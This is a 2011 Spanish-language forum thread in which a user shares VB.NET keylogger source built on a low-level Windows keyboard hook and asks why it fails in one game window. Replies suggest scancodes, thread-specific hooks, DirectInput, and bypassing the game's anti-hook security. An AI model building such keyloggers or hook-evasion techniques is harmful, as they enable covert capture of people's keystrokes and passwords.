elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Keyboard Hook no detecta teclas en una aplicación en concreto
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keyboard Hook no detecta teclas en una aplicación en concreto  (Leído 5,630 veces)
rmva2

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Keyboard Hook no detecta teclas en una aplicación en concreto
« en: 14 Diciembre 2011, 01:09 am »

Hola buenas.


Acabo de terminar un KeyLogger basado en un hook de teclado Low-level.
Funciona divinamente en cualquier ventana activa, salvo en la que interesa: una ventana de un juego en concreto. Mientras esta ventana tenga el foco, no me reconoce ningún keystroke. Estoy empezando a pensar que está programado con toda intención jeje

¿Alguien podría decir a qué se podría deber? La verdad es que estoy perdido.
Gracias por adelantado.
Saludos!

El código:
Código
  1. Class Keylogger
  2.  
  3.  
  4. #Region "APIS"
  5.    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
  6.    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
  7.                                                                                      ByVal lpfn As KeyboardHookDelegate, _
  8.                                                                                      ByVal hmod As Integer, _
  9.                                                                                      ByVal dwThreadId As Integer) As Integer
  10.  
  11.  
  12.  
  13.    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, _
  14.                                                          ByVal nCode As Integer, _
  15.                                                         ByVal wParam As Integer, _
  16.                                                         ByVal lParam As KBDLLHOOKSTRUCT) As Integer
  17.  
  18.    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  19.  
  20.    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, _
  21.                                                                                    ByVal lpString As String, _
  22.                                                                                    ByVal cch As Int32) As Int32
  23.  
  24.    Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, _
  25.                                                   ByVal wParam As Integer, _
  26.                                                   ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  27. #End Region
  28. #Region "CONST, ESTRUCTURA, ENUM"
  29.    Private Const WM_KEYUP As Integer = &H101
  30.    Private Const WM_KEYDOWN As Short = &H100S
  31.    Private Const WM_SYSKEYDOWN As Integer = &H104
  32.    Private Const WM_SYSKEYUP As Integer = &H105
  33.  
  34.    Public Structure KBDLLHOOKSTRUCT
  35.        Public vkCode As Integer
  36.        Public scanCode As Integer
  37.        Public flags As Integer
  38.        Public time As Integer
  39.        Public dwExtraInfo As Integer
  40.    End Structure
  41.  
  42. #End Region
  43. #Region "VARIABLES"
  44.    Private KeyboardHandle As IntPtr = 0
  45.    Private LastCheckedForegroundTitle As String = ""
  46.    Private callback As KeyboardHookDelegate = Nothing
  47.    Private KeyLog As String
  48.  
  49. #End Region
  50.    Public Sub HookKeyboard()
  51.        callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
  52.        KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
  53.    End Sub
  54.    Private Function Hooked()
  55.        Return KeyboardHandle <> 0
  56.    End Function
  57.    Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
  58.  
  59.        Dim CurrentTitle = GetActiveWindowTitle()
  60.        Dim Key As String = ""
  61.  
  62.        If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
  63.            Select Case lParam.vkCode
  64.                Case virtualKey.K_0 To virtualKey.K_9
  65.                    Key = ChrW(lParam.vkCode)
  66.                Case virtualKey.K_A To virtualKey.K_Z
  67.                    Key = ChrW(lParam.vkCode + 32)
  68.                Case virtualKey.K_Backspace
  69.                    Key = "[Backspace]"
  70.                Case virtualKey.K_Return
  71.                    Key = "[Enter]"
  72.                Case virtualKey.K_Space
  73.                    Key = " "
  74.                Case virtualKey.K_Tab
  75.                    Key = "[Tab]"
  76.                Case virtualKey.K_Esc
  77.                    Key = "[Escape]"
  78.                Case virtualKey.K_Control
  79.                    Key = "[Control]"
  80.                Case virtualKey.K_LControl
  81.                    Key = "[LControl]"
  82.                Case virtualKey.K_RControl
  83.                    Key = "[RControl]"
  84.                Case virtualKey.K_LAlt
  85.                    Key = "[LAlt]"
  86.                Case virtualKey.K_LShift
  87.                    Key = "[LShift]"
  88.                Case virtualKey.K_Numpad0 To virtualKey.K_Numpad9
  89.                    Key = ChrW(lParam.vkCode)
  90.                Case virtualKey.K_PrintScreen
  91.                    Key = "[PrintScreen]"
  92.                Case virtualKey.K_RAlt
  93.                    Key = "[RAlt]"
  94.                Case virtualKey.K_RShift
  95.                    Key = "[RShift]"
  96.                Case 189
  97.                    Key = "[-]"
  98.                Case 191
  99.                    Key = "&#231;"
  100.                Case 222
  101.                    Key = "[&#180;]"
  102.                Case 226
  103.                    Key = "[>]"
  104.                Case 220
  105.                    Key = "&#186;"
  106.                Case 219
  107.                    Key = "[&#161;]"
  108.                Case 221
  109.                    Key = "[']"
  110.                Case 110
  111.                    Key = "[./Supr]"
  112.                Case 190
  113.                    Key = "."
  114.                Case 188
  115.                    Key = ","
  116.            End Select
  117.        End If
  118.        KeyLog &= Key
  119.        Return CallNextHookEx(KeyboardHndle, Code, wParam, lParam)
  120.    End Function
  121.  


« Última modificación: 14 Diciembre 2011, 15:49 pm por raul338 » En línea

x64core


Desconectado Desconectado

Mensajes: 1.908


Ver Perfil
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #1 en: 14 Diciembre 2011, 01:52 am »

Esto es .Net
bueno pero lo general para keylogger te dire, veo que comparas la tecla pulsados con valores determinados :P
esto no es muy recomandable es mejor obtener los scancodes, para obtener el caracter correcto quiza seria eso el
porque no te muestra algunos


En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #2 en: 14 Diciembre 2011, 08:11 am »

Solo edita SetWindowsHookEx para que realize un hook a el hilo deaseado... habitualmente los juegos detentan los ganchos y los deshasen... en pocas palabras los eliminan o los evaden, asi que será mejor que primero deshabilites o evadas (bypass) la seguridad del juego.

Dulces Lunas!¡.
En línea

The Dark Shadow is my passion.
raul338


Desconectado Desconectado

Mensajes: 2.633


La sonrisa es la mejor forma de afrontar las cosas


Ver Perfil WWW
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #3 en: 14 Diciembre 2011, 15:51 pm »

Te lo muevo a vb.net

Puede ser que la ventana este protegida contra hooks :P o use otras entradas (como DirectInput)
En línea

rmva2

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #4 en: 15 Diciembre 2011, 00:15 am »

Ey se agradece mucho vuestra pronta respuesta.

RHL: El problema no es que me muestre unos caracteres y otros no. El problema es que no me reconoce ninguno (y sólo esa ventana cuando está activa). Igualmente gracias por el consejo de los scancodes. Veré como mejorarlo en ese aspecto.

BlackZeroX: Voy a probar lo primero que has dicho que tiene buena pinta. Lo de evadir la seguridad del juego son para mi palabras mayores jeje

raul338: Disculpas por haberlo puesto en el foro equivocado (vi VB y me lancé xD). Veré igual como hacerlo con DirectInput aunque si supierais de alguna información, tutorial o ejemplo de código sobre eso último se agradecería un montón.
En línea

rmva2

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: Keyboard Hook no detecta teclas en una aplicación en concreto
« Respuesta #5 en: 15 Diciembre 2011, 16:53 pm »

Bueno después de intentar lo que me dijisteis decidí probar con WH_JOURNALRECORD en vez de WH_KEYBOARD_LL ya que al parecer la ventana de la aplicación no me reconoce el último.

Ahora bien, me falla el SetWindowsHookEx:
Código:
hookHandle = SetWindowsHookEx(HookType.WH_JOURNALRECORD, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
Código:
hookHandle = SetWindowsHookEx(HookType.WH_JOURNALRECORD, callback, _
 System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()(0)), 0)

He probado esas dos formas (entre muchas más) y el hookHandle que devuelve la función es nulo (vamos, que no hace el hook).
De nuevo estoy perdido. No sé qué hacer.
¿Podría alguien echarme una mano en esa línea?
Gracias de nuevo por vuestro tiempo
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines